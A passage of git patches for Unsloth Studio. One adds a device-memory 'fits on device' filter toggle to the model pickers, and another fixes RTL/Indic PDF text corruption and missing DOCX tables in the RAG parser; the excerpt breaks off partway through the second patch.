The filter reuses the Recommended sort's existing fit math, extracted
into hfModelFitsDevice: size from safetensors metadata, GGUF param
count, or the repo name, against the 0.7 GPU + 0.7 RAM budget, with
unsizable models hidden. In the chat selector it extends the fit
filtering to the Trending and Recent sorts and to search results;
downloaded models stay visible regardless. An unknown device budget
keeps everything. The preference is cleared by Reset all local
preferences like the other picker toggles.

* Move the device-fit toggle into the sort dropdowns

* Tighten sort menu footer spacing and shorten the label

* Align the footer checkbox with the option text

* Make the footer checkbox circular with a smaller tick

* Clear menu highlight when the pointer leaves the options

* Address review: fit filter coverage and sizing

Exempt on-disk models from the Hub fit filter, apply it to the feed
trending rows and curated search results, size safetensors and MLX rows
by the quantized load estimate instead of checkpoint bytes, and replace
the native title hint with the app Tooltip.

* Make the whole device-fit row toggle the filter
---
 .../assistant-ui/model-selector/pickers.tsx   | 124 ++++++++++++------
 .../model-selector/recommended-fit.ts         |  32 +++++
 .../chat/stores/chat-runtime-store.ts         |  11 ++
 .../features/hub/catalog/hub-option-menu.tsx  |  36 ++++-
 .../features/hub/catalog/models-toolbar.tsx   |  33 +++++
 studio/frontend/src/features/hub/hub-page.tsx |  32 ++++-
 .../features/settings/tabs/general-tab.tsx    |   1 +
 7 files changed, 222 insertions(+), 47 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index e11a08f8ab..20000c82ee 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { Checkbox } from "@/components/ui/checkbox";
 import { Input } from "@/components/ui/input";
 import { Spinner } from "@/components/ui/spinner";
 import {
@@ -102,6 +103,7 @@ import {
   type FormatFilter,
   estimateQuantBytes,
   fitsDevice,
+  hfModelFitsDevice,
   isMlxId,
   isMobileVariant,
   isRecommendableFormat,
@@ -1340,6 +1342,9 @@ export function HubModelPicker({
   }, []);
   // When on, On Device GGUF repos show their quantizations without a click.
   const expandQuantizations = useChatRuntimeStore((s) => s.expandQuantizations);
+  // Shared with the Hub page: list only models sized within the device budget.
+  const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly);
+  const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly);
   // Repos the user clicked to collapse while expand-by-default is on. Kept in
   // memory only, so it resets on reload (and when the setting is toggled).
   const [collapsedGguf, setCollapsedGguf] = useState<Set<string>>(
@@ -1717,34 +1722,19 @@ export function HubModelPicker({
       formatFilter === "all"
         ? rows.filter((r) => isRecommendableFormat(r.id, r.isGguf, isMac))
         : rows.filter((r) => matchesFormatFilter(r.id, r.isGguf, formatFilter));
-    if (recommendedSort !== "recommended") return rows;
+    // The "recommended" sort always applies the device-fit filter; the shared
+    // "Fits on device" tick extends it to the other sorts too.
+    if (recommendedSort !== "recommended" && !fitOnDeviceOnly) return rows;
     return rows.filter((r) => {
       // Downloaded models always show, regardless of device fit.
       if (downloadedSet.has(r.id.toLowerCase())) return true;
-      // Unified-memory hosts (Mac / no discrete GPU) still report system RAM,
-      // so fall back to that budget instead of skipping the fit check entirely.
-      const hasDeviceBudget =
-        gpu.memoryTotalGb > 0 || gpu.systemRamAvailableGb > 0;
-      if (!hasDeviceBudget) return true;
-      // GGUF/MLX repos rarely expose safetensors metadata, so fall back to the
-      // GGUF param count, then the repo name, for a size estimate. Anything we
-      // still cannot size is hidden (requireKnown) so over-budget models like a
-      // 1T GGUF don't slip into Recommended.
-      const params = r.totalParams ?? paramsFromId(r.id);
-      const sizeBytes =
-        r.estimatedSizeBytes ??
-        (params ? estimateQuantBytes(params) : undefined);
-      return fitsDevice({
-        sizeBytes,
-        gpuGb: gpu.memoryTotalGb,
-        systemRamGb: gpu.systemRamAvailableGb,
-        requireKnown: true,
-      });
+      return hfModelFitsDevice(r, gpu);
     });
   }, [
     recommendedSearch.results,
     downloadedSet,
     recommendedSort,
+    fitOnDeviceOnly,
     formatFilter,
     isMac,
     gpu,
@@ -1976,23 +1966,6 @@ export function HubModelPicker({
     [visibleCachedModelRows],
   );
 
-  // Recommended models that match the current search query
-  const filteredRecommendedIds = useMemo(() => {
-    if (!showHfSection) return [];
-    const q = normalizeForSearch(debouncedQuery.trim());
-    return recommendedIds
-      .filter((id) => normalizeForSearch(id).includes(q))
-      .filter((id) =>
-        matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
-      );
-  }, [
-    showHfSection,
-    debouncedQuery,
-    recommendedIds,
-    formatFilter,
-    isKnownGgufRepo,
-  ]);
-
   // Param counts come straight off the unsloth listings the picker already
   // loaded, so no extra per-id fetch is needed for the VRAM badges.
   const recommendedParamCountById = useMemo(() => {
@@ -2003,6 +1976,42 @@ export function HubModelPicker({
     return map;
   }, [results, recommendedSearch.results]);
 
+  // Recommended models that match the current search query
+  const filteredRecommendedIds = useMemo(() => {
+    if (!showHfSection) return [];
+    const q = normalizeForSearch(debouncedQuery.trim());
+    return recommendedIds
+      .filter((id) => normalizeForSearch(id).includes(q))
+      .filter((id) =>
+        matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
+      )
+      // Curated defaults obey the fit toggle like the live HF rows, else large
+      // defaults resurface in search results with the filter on.
+      .filter(
+        (id) =>
+          !fitOnDeviceOnly ||
+          downloadedSet.has(id.toLowerCase()) ||
+          hfModelFitsDevice(
+            {
+              id,
+              totalParams: recommendedParamCountById.get(id),
+              isGguf: isKnownGgufRepo(id),
+            },
+            gpu,
+          ),
+      );
+  }, [
+    showHfSection,
+    debouncedQuery,
+    recommendedIds,
+    formatFilter,
+    isKnownGgufRepo,
+    fitOnDeviceOnly,
+    downloadedSet,
+    recommendedParamCountById,
+    gpu,
+  ]);
+
   const recommendedSet = useMemo(
     () => new Set(filteredRecommendedIds),
     [filteredRecommendedIds],
@@ -2013,6 +2022,12 @@ export function HubModelPicker({
     if (!showHfSection || section !== "recommended") return [];
     return results
       .filter(isChatSupported)
+      .filter(
+        (r) =>
+          !fitOnDeviceOnly ||
+          downloadedSet.has(r.id.toLowerCase()) ||
+          hfModelFitsDevice(r, gpu),
+      )
       .map((result) => result.id)
       .filter((id) => !isHiddenModelId(id))
       .filter((id) => id.toLowerCase().startsWith("unsloth/"))
@@ -2035,6 +2050,9 @@ export function HubModelPicker({
     isKnownGgufRepo,
     isChatSupported,
     formatFilter,
+    fitOnDeviceOnly,
+    downloadedSet,
+    gpu,
     isMac,
   ]);
 
@@ -2323,6 +2341,35 @@ export function HubModelPicker({
   // selected-item checkmark never overlaps the label.
   const sortMenuContentClassName =
     "!p-1 !rounded-[14px] [&_[role=option]]:!pl-2 [&_[role=option]]:!py-1.5 [&_[role=option]]:!text-xs [&_[role=option]]:!rounded-[10px]";
+  // Device-fit toggle lives inside the sort menu (shared with the Hub page).
+  // The whole row is the click target (a button): a Checkbox renders as a
+  // <button>, and label-click forwarding to a button is unreliable, so the row
+  // owns the toggle and the Checkbox is presentational (pointer-events-none).
+  const fitOnDeviceFooter = (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <button
+          type="button"
+          role="checkbox"
+          aria-checked={fitOnDeviceOnly}
+          onClick={() => setFitOnDeviceOnly(!fitOnDeviceOnly)}
+          className="flex w-full cursor-pointer select-none items-center gap-1.5 rounded-[10px] px-2 py-1.5 text-left text-xs text-muted-foreground transition-colors hover:text-foreground"
+        >
+          <Checkbox
+            checked={fitOnDeviceOnly}
+            tabIndex={-1}
+            aria-hidden
+            className="pointer-events-none size-3.5 rounded-full [&_svg]:!size-2.5"
+          />
+          Only show models that fit
+        </button>
+      </TooltipTrigger>
+      <TooltipContent side="bottom">
+        Hides models larger than this device's memory budget. Downloaded models
+        stay visible.
+      </TooltipContent>
+    </Tooltip>
+  );
   const sectionSortDropdown =
     section === "recommended" ? (
       <HubOptionMenu
@@ -2333,6 +2380,7 @@ export function HubModelPicker({
         align="end"
         className={sortTriggerClassName}
         contentClassName={sortMenuContentClassName}
+        footer={fitOnDeviceFooter}
       />
     ) : section === "downloaded" ? (
       <HubOptionMenu
@@ -2343,6 +2391,7 @@ export function HubModelPicker({
         align="end"
         className={sortTriggerClassName}
         contentClassName={sortMenuContentClassName}
+        footer={fitOnDeviceFooter}
       />
     ) : (
       <HubOptionMenu
@@ -2353,6 +2402,7 @@ export function HubModelPicker({
         align="end"
         className={sortTriggerClassName}
         contentClassName={sortMenuContentClassName}
+        footer={fitOnDeviceFooter}
       />
     );
 
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
index 24f0edc784..7c2ed266c0 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
+++ b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
@@ -114,3 +114,35 @@ export function fitsDevice(opts: {
   }
   return requireKnown ? false : true;
 }
+
+/** Fit predicate for one Hub listing row, shared by the chat model selector
+ * and the Hub page "Fits on device" filter. GGUF repos: metadata size (actual
+ * weights) or the smallest-quant estimate from the param count. Safetensors /
+ * MLX repos: always the params-based smallest-quant estimate, matching the
+ * VRAM badge's quantized-load assumption; their estimatedSizeBytes is the
+ * full-precision checkpoint and would wrongly hide models the quantized load
+ * path can run. Anything unsizable is hidden (requireKnown) so over-budget
+ * models with no metadata don't slip through. An unknown device budget keeps
+ * everything. */
+export function hfModelFitsDevice(
+  model: {
+    id: string;
+    totalParams?: number;
+    estimatedSizeBytes?: number;
+    isGguf?: boolean;
+  },
+  gpu: { memoryTotalGb: number; systemRamAvailableGb: number },
+): boolean {
+  if (gpu.memoryTotalGb <= 0 && gpu.systemRamAvailableGb <= 0) return true;
+  const params = model.totalParams ?? paramsFromId(model.id);
+  const quantBytes = params ? estimateQuantBytes(params) : undefined;
+  const sizeBytes = isGgufId(model.id, model.isGguf)
+    ? (model.estimatedSizeBytes ?? quantBytes)
+    : (quantBytes ?? model.estimatedSizeBytes);
+  return fitsDevice({
+    sizeBytes,
+    gpuGb: gpu.memoryTotalGb,
+    systemRamGb: gpu.systemRamAvailableGb,
+    requireKnown: true,
+  });
+}
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index ca4bb7afde..7c9685d6d0 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -42,6 +42,8 @@ export const CHAT_EXPAND_QUANTIZATIONS_KEY =
   "unsloth_chat_expand_quantizations";
 export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY =
   "unsloth_chat_show_all_quantizations";
+export const MODELS_FIT_ON_DEVICE_ONLY_KEY =
+  "unsloth_models_fit_on_device_only";
 export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions";
 export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY =
   "unsloth_chat_web_fetch_tools_enabled";
@@ -671,6 +673,9 @@ type ChatRuntimeStore = {
   expandQuantizations: boolean;
   /** Persisted: show non-downloaded quantizations too, not just downloaded. */
   showAllQuantizations: boolean;
+  /** Persisted, shared by the chat model selector and the Hub page: list only
+   *  models whose size fits this device's memory budget. */
+  fitOnDeviceOnly: boolean;
   /** A local model picked while `loadOnSelection` is off: staged, not loaded.
    *  The settings sheet shows its load knobs and a Load button. */
   pendingSelection: PendingModelSelection | null;
@@ -793,6 +798,7 @@ type ChatRuntimeStore = {
   setLoadOnSelection: (value: boolean) => void;
   setExpandQuantizations: (value: boolean) => void;
   setShowAllQuantizations: (value: boolean) => void;
+  setFitOnDeviceOnly: (value: boolean) => void;
   setPendingSelection: (selection: PendingModelSelection | null) => void;
   /** Stage a pick for a deferred load: revert knobs to the loaded baseline,
    *  record the selection, and open the settings sheet. */
@@ -1111,6 +1117,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   loadOnSelection: loadBool(CHAT_LOAD_ON_SELECTION_KEY, true),
   expandQuantizations: loadBool(CHAT_EXPAND_QUANTIZATIONS_KEY, false),
   showAllQuantizations: loadBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, true),
+  fitOnDeviceOnly: loadBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, false),
   pendingSelection: null,
   loadedIsMultimodal: false,
   loadedIsDiffusion: false,
@@ -1582,6 +1589,10 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     saveBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, showAllQuantizations);
     set({ showAllQuantizations });
   },
+  setFitOnDeviceOnly: (fitOnDeviceOnly) => {
+    saveBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, fitOnDeviceOnly);
+    set({ fitOnDeviceOnly });
+  },
   setPendingSelection: (pendingSelection) => set({ pendingSelection }),
   stageModel: (selection) => {
     // Refuse staging mid-load: post-load cleanup would silently drop the queued
diff --git a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
index 7895a89254..38464d36e4 100644
--- a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
+++ b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
@@ -38,6 +38,7 @@ export function HubOptionMenu<T extends string>({
   showChevron = true,
   title,
   triggerContent,
+  footer,
 }: {
   value: T;
   options: readonly HubOption<T>[];
@@ -49,9 +50,12 @@ export function HubOptionMenu<T extends string>({
   showChevron?: boolean;
   title?: string;
   triggerContent?: ReactNode;
+  /** Rendered under the options behind a separator; clicks keep the menu open. */
+  footer?: ReactNode;
 }) {
   const [open, setOpen] = useState(false);
-  const [activeIndex, setActiveIndex] = useState(0);
+  // -1 = nothing highlighted (no hover, no keyboard nav yet).
+  const [activeIndex, setActiveIndex] = useState(-1);
   const triggerRef = useRef<HTMLButtonElement | null>(null);
   const listboxRef = useRef<HTMLDivElement | null>(null);
   const idBase = useId();
@@ -63,9 +67,9 @@ export function HubOptionMenu<T extends string>({
   }, [options, value]);
   const selected = options[selectedIndex];
   const resolvedActiveIndex =
-    options.length === 0
+    options.length === 0 || activeIndex < 0
       ? -1
-      : Math.min(Math.max(activeIndex, 0), options.length - 1);
+      : Math.min(activeIndex, options.length - 1);
   const activeOptionId =
     resolvedActiveIndex >= 0 ? `${idBase}-option-${resolvedActiveIndex}` : undefined;
 
@@ -92,11 +96,13 @@ export function HubOptionMenu<T extends string>({
     (nextOpen: boolean) => {
       setOpen(nextOpen);
       if (nextOpen) {
-        activateIndex(selectedIndex);
+        // Nothing highlighted until the user hovers or uses the keyboard;
+        // keyboard nav anchors on the selected option (handleContentKeyDown).
+        activateIndex(-1);
         requestAnimationFrame(() => listboxRef.current?.focus());
       }
     },
-    [activateIndex, selectedIndex],
+    [activateIndex],
   );
 
   const handleContentKeyDown = useCallback(
@@ -112,12 +118,21 @@ export function HubOptionMenu<T extends string>({
       }
       if (event.key === "ArrowDown") {
         event.preventDefault();
-        setActiveIndex((currentIndex + 1) % options.length);
+        // First arrow press highlights the selected option, then steps.
+        setActiveIndex(
+          resolvedActiveIndex < 0
+            ? selectedIndex
+            : (currentIndex + 1) % options.length,
+        );
         return;
       }
       if (event.key === "ArrowUp") {
         event.preventDefault();
-        setActiveIndex((currentIndex - 1 + options.length) % options.length);
+        setActiveIndex(
+          resolvedActiveIndex < 0
+            ? selectedIndex
+            : (currentIndex - 1 + options.length) % options.length,
+        );
         return;
       }
       if (event.key === "Home") {
@@ -197,6 +212,7 @@ export function HubOptionMenu<T extends string>({
           aria-activedescendant={activeOptionId}
           tabIndex={0}
           onKeyDown={handleContentKeyDown}
+          onPointerLeave={() => activateIndex(-1)}
           className="outline-none"
         >
           {options.map((option, index) => {
@@ -235,6 +251,12 @@ export function HubOptionMenu<T extends string>({
             );
           })}
         </div>
+        {footer && (
+          // -mt-3 cancels the surface's 16px flex gap down to 4px. No side
+          // padding: the footer label carries the same padding as the options
+          // so its checkbox lines up with the option text.
+          <div className="-mt-3 border-t border-border/60 pt-1">{footer}</div>
+        )}
       </PopoverContent>
     </Popover>
   );
diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
index 48f7fcffaa..7c08c9c486 100644
--- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { Checkbox } from "@/components/ui/checkbox";
 import { Input } from "@/components/ui/input";
 import { Spinner } from "@/components/ui/spinner";
 import {
@@ -68,6 +69,8 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange,
   capabilityFilter,
   onCapabilityFilterChange,
+  fitOnDeviceOnly,
+  onFitOnDeviceOnlyChange,
   onManageLocalFolders,
   onOpenFineTune,
 }: {
@@ -84,6 +87,9 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange: (value: ModelFormatFilter) => void;
   capabilityFilter: CapabilityFilter;
   onCapabilityFilterChange: (value: CapabilityFilter) => void;
+  /** Shared with the chat model selector: hide models over the device budget. */
+  fitOnDeviceOnly: boolean;
+  onFitOnDeviceOnlyChange: (value: boolean) => void;
   onManageLocalFolders: () => void;
   /** Opens the curated "Fine-tune ready" channel (discover only). Exposed as a
    *  format-dropdown option rather than a standalone feed section. */
@@ -350,6 +356,33 @@ export const ModelsToolbar = memo(function ModelsToolbar({
             onValueChange={onSortChange}
             ariaLabel="Sort models"
             className={cn(triggerBase, "w-[128px]")}
+            footer={
+              isDataset ? undefined : (
+                <Tooltip>
+                  <TooltipTrigger asChild>
+                    <button
+                      type="button"
+                      role="checkbox"
+                      aria-checked={fitOnDeviceOnly}
+                      onClick={() => onFitOnDeviceOnlyChange(!fitOnDeviceOnly)}
+                      className="flex w-full cursor-pointer select-none items-center gap-2 rounded-[10px] px-3 py-2 text-left text-[12.5px] text-muted-foreground transition-colors hover:text-foreground"
+                    >
+                      <Checkbox
+                        checked={fitOnDeviceOnly}
+                        tabIndex={-1}
+                        aria-hidden
+                        className="pointer-events-none size-3.5 rounded-full [&_svg]:!size-2.5"
+                      />
+                      Only show models that fit
+                    </button>
+                  </TooltipTrigger>
+                  <TooltipContent side="bottom">
+                    Hides models larger than this device's memory budget.
+                    Downloaded models stay visible.
+                  </TooltipContent>
+                </Tooltip>
+              )
+            }
           />
         )}
 
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index c696862283..56aa07335d 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -5,6 +5,7 @@ import {
   loadRememberedLoadSettings,
   rememberedLoadSettingsKey,
 } from "@/components/assistant-ui/model-selector/remembered-load-settings";
+import { hfModelFitsDevice } from "@/components/assistant-ui/model-selector/recommended-fit";
 import { useHubInventory } from "@/features/hub/inventory";
 import { useDebouncedValue } from "@/hooks/use-debounced-value";
 import { useGpuInfo } from "@/hooks/use-gpu-info";
@@ -327,6 +328,9 @@ export function ModelsPage() {
   const activeCheckpoint =
     checkpoint && !isExternalModelId(checkpoint) ? checkpoint : null;
   const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
+  // Shared with the chat model selector: list only models sized for this device.
+  const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly);
+  const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly);
 
   useEffect(() => {
     let cancelled = false;
@@ -697,7 +701,12 @@ export function ModelsPage() {
         !isHiddenModelId(row.id) &&
         matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
         matchesCapability(row.capabilities, deferredCapabilityFilter) &&
-        (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)),
+        (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)) &&
+        // Models already on disk stay visible regardless of device fit,
+        // matching the chat model selector.
+        (!fitOnDeviceOnly ||
+          row.isAvailableOnDevice ||
+          hfModelFitsDevice(row.result, gpu)),
     );
   }, [
     discoverRows,
@@ -705,6 +714,8 @@ export function ModelsPage() {
     effectiveDiscoverFormat,
     deferredCapabilityFilter,
     activeChannel,
+    fitOnDeviceOnly,
+    gpu,
   ]);
 
   const listRows = filteredDiscoverRows;
@@ -724,8 +735,21 @@ export function ModelsPage() {
         effectiveLocalRows,
       )
         .filter((row) => !isHiddenModelId(row.id))
-        .filter((row) => matchesFormat(row.result.isGguf, "gguf")),
-    [hubFeed.trending.results, modelDiscoveryInventorySignature],
+        .filter((row) => matchesFormat(row.result.isGguf, "gguf"))
+        // Same fit filter as the main Discover list, so the feed carousel
+        // honors the toggle too.
+        .filter(
+          (row) =>
+            !fitOnDeviceOnly ||
+            row.isAvailableOnDevice ||
+            hfModelFitsDevice(row.result, gpu),
+        ),
+    [
+      hubFeed.trending.results,
+      modelDiscoveryInventorySignature,
+      fitOnDeviceOnly,
+      gpu,
+    ],
   );
   const feedRows = useMemo(() => {
     if (!isFeedMode) return [];
@@ -1448,6 +1472,8 @@ export function ModelsPage() {
           onFormatFilterChange={setFormatFilter}
           capabilityFilter={capabilityFilter}
           onCapabilityFilterChange={setCapabilityFilter}
+          fitOnDeviceOnly={fitOnDeviceOnly}
+          onFitOnDeviceOnlyChange={setFitOnDeviceOnly}
           onManageLocalFolders={handleManageLocalFolders}
           onOpenFineTune={() => handleOpenList("finetune")}
         />
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index 247d5040fb..4e02f7f14f 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -81,6 +81,7 @@ const PREFS_KEYS: string[] = [
   "unsloth_chat_load_on_selection",
   "unsloth_chat_expand_quantizations",
   "unsloth_chat_show_all_quantizations",
+  "unsloth_models_fit_on_device_only",
   // Chat presets
   "unsloth_chat_custom_presets",
   "unsloth_chat_active_preset",

From 62e96442665892dc8d06084731dc700573af0f28 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 2 Jul 2026 03:38:48 -0700
Subject: [PATCH 175/306] Studio RAG: fix RTL/Indic PDF corruption and dropped
 DOCX tables (#6780)

* Studio RAG: fix RTL/Indic PDF corruption and dropped DOCX tables

The RAG parser prefers pymupdf4llm.to_markdown for PDFs, but that rebuilds text from
positioned glyphs and mangles complex-shaping scripts (RTL Arabic/Hebrew come back as
shaped Presentation Forms, Indic matras drop to U+FFFD) and can silently drop most of a
heavy-RTL page. _pdf now compares the Markdown against PyMuPDF's logical-order
get_text() per page and falls back to it when the Markdown looks corrupted (shaped
Presentation Forms or U+FFFD above a small floor/ratio) or holds far fewer letters than
the raw layer. Latin PDFs are unaffected and keep their Markdown tables/headings.

_docx walked document.paragraphs, which excludes table cells, so DOCX tables were
dropped entirely. It now walks body content in document order via iter_inner_content,
emitting each table row as pipe-joined cells (deduped across merged cells); the preview
locator already anchors on pipes.

Adds parser tests for the corruption and incompleteness fallbacks and for DOCX table
extraction. These mirror the chat document-extractor guard raised in the unslothai/
unsloth#5351 review; the RAG parser is a separate module and needed its own fix.

* RAG DOCX: keep empty table cells and collapse in-cell newlines

Skipping empty cells shifted later cells left and broke column alignment across rows;
a cell with internal paragraphs (newlines) also broke the pipe-joined row. Keep every
cell (dropping the row only when all are empty) and normalize each cell with
" ".join(split()) so multi-paragraph cells stay on one row. Adds a test for both.

* RAG DOCX: dedup merged table cells on the <w:tc> element directly

Store the shared <w:tc> lxml element in the seen set instead of its id(); it is
hashable and compares by the underlying node, so it dedups spanned/merged cells the
same way without relying on id(). Adds a merged-cell test.

* RAG DOCX: align merged cells, pad skipped grid columns, flatten nested tables

* RAG DOCX: walk cells in document order so nested tables keep in-cell position

* RAG DOCX: dedup vertically merged cells so a spanning label is indexed once

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/core/rag/parsers.py       | 103 ++++++++++-
 studio/backend/tests/test_rag_parsing.py | 209 +++++++++++++++++++++++
 2 files changed, 307 insertions(+), 5 deletions(-)

diff --git a/studio/backend/core/rag/parsers.py b/studio/backend/core/rag/parsers.py
index ba248cf9a6..9afddf1d9e 100644
--- a/studio/backend/core/rag/parsers.py
+++ b/studio/backend/core/rag/parsers.py
@@ -12,6 +12,7 @@ from __future__ import annotations
 
 import logging
 import os
+import re
 from dataclasses import dataclass
 from html.parser import HTMLParser
 
@@ -69,6 +70,39 @@ def _html(raw: str) -> list[Page]:
     return [_page("\n".join(parser.out), 1)]
 
 
+# pymupdf4llm rebuilds text from positioned glyphs, which mangles complex-shaping
+# scripts (RTL Arabic/Hebrew emerge as shaped Presentation Forms, Indic matras drop to
+# U+FFFD) and can silently drop most of a heavy-RTL page. When Markdown trips these
+# signals we fall back to PyMuPDF's logical-order get_text(). Thresholds mirror the chat
+# extractor guard (unslothai/unsloth#5351 review).
+_SHAPED_PRESENTATION_FORMS = re.compile("[\ufb1d-\ufdff\ufe70-\ufefc]")
+_PDF_FALLBACK_MIN_BAD_GLYPHS = 5
+_PDF_FALLBACK_BAD_GLYPH_RATIO = 0.0005
+_PDF_INCOMPLETE_RATIO = 0.75
+_PDF_INCOMPLETE_MIN_LETTERS = 200
+
+
+def _markdown_corrupted(text: str) -> bool:
+    """True when pymupdf4llm's glyph reconstruction mangled the text: shaped RTL
+    Presentation Forms or U+FFFD replacements above a small floor/ratio (so a lone
+    legitimate shaped glyph does not force the fallback)."""
+    if not text:
+        return False
+    threshold = max(_PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text))
+    shaped = len(_SHAPED_PRESENTATION_FORMS.findall(text))
+    return shaped > threshold or text.count("\ufffd") > threshold
+
+
+def _markdown_incomplete(markdown: str, plain: str) -> bool:
+    """True when ``markdown`` holds far fewer letters than the raw ``get_text`` layer -- a
+    coarse guard for heavy-RTL pages pymupdf4llm silently drops without shaped glyphs."""
+    plain_letters = sum(1 for c in plain if c.isalnum())
+    if plain_letters < _PDF_INCOMPLETE_MIN_LETTERS:
+        return False
+    markdown_letters = sum(1 for c in markdown if c.isalnum())
+    return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters
+
+
 def _pdf_markdown(doc) -> list[str] | None:
     """Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index
     i maps to page i+1. Returns None when the lib is missing, extraction fails, or the
@@ -100,9 +134,19 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
     try:
         md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None
         for i, page in enumerate(doc):
-            # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval);
-            # fall back to plain text when Markdown is off, unavailable, or empty here.
-            text = (md[i] if md else "") or page.get_text("text") or ""
+            plain = page.get_text("text") or ""
+            candidate = md[i] if md else ""
+            # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval),
+            # but drop to PyMuPDF's logical-order text when Markdown is off/empty or when
+            # pymupdf4llm mangled it (RTL/Indic) or dropped most of the page.
+            if (
+                candidate
+                and not _markdown_corrupted(candidate)
+                and not _markdown_incomplete(candidate, plain)
+            ):
+                text = candidate
+            else:
+                text = plain
             pages.append(_page(text, i + 1))
             if want_images:
                 for img in page.get_images(full = True):
@@ -308,12 +352,61 @@ def render_pdf_pages(
         doc.close()
 
 
+def _docx_table_rows(table) -> list[str]:
+    """Each row as pipe-joined cell text (the locator splits anchors on pipes).
+    Columns stay aligned to the layout grid (merged cells fill their spanned slots,
+    skipped leading/trailing grid columns become empty fields). Cells are walked in
+    document order so a nested table, and any text after it, flattens in place."""
+    from docx.table import Table
+    from docx.text.paragraph import Paragraph
+
+    rows: list[str] = []
+    seen: set = set()  # <w:tc> already emitted; dedups merges spanning columns or rows
+    for row in table.rows:
+        cells: list[str] = [""] * getattr(row, "grid_cols_before", 0)
+        trailing: list[str] = []  # nested rows + any post-nested text, kept in order
+        for cell in row.cells:
+            # A merged cell shares one <w:tc> across the columns and rows it spans:
+            # emit its text once, then placeholders, so columns and rows stay aligned.
+            if cell._tc in seen:
+                cells.append("")
+                continue
+            seen.add(cell._tc)
+            # Paragraph text before the first nested table is the aligned field; the
+            # nested table and anything after it flatten below the row, in order.
+            field: list[str] = []
+            after_table = False
+            for item in cell.iter_inner_content():
+                if isinstance(item, Table):
+                    after_table = True
+                    trailing.extend(_docx_table_rows(item))
+                elif isinstance(item, Paragraph):
+                    text = " ".join(item.text.split())  # collapse in-cell newlines
+                    if text:
+                        (trailing if after_table else field).append(text)
+            cells.append(" ".join(field))  # empty cells kept so columns line up
+        cells.extend([""] * getattr(row, "grid_cols_after", 0))
+        if any(c.strip() for c in cells):
+            rows.append(" | ".join(cells))
+        rows.extend(trailing)
+    return rows
+
+
 def _docx(path: str) -> list[Page]:
     import docx
+    from docx.table import Table
+    from docx.text.paragraph import Paragraph
 
     document = docx.Document(path)
-    text = "\n".join(p.text for p in document.paragraphs)
-    return [_page(text, None)]
+    lines: list[str] = []
+    # Walk body content in document order: paragraphs alone drop tables entirely.
+    for block in document.iter_inner_content():
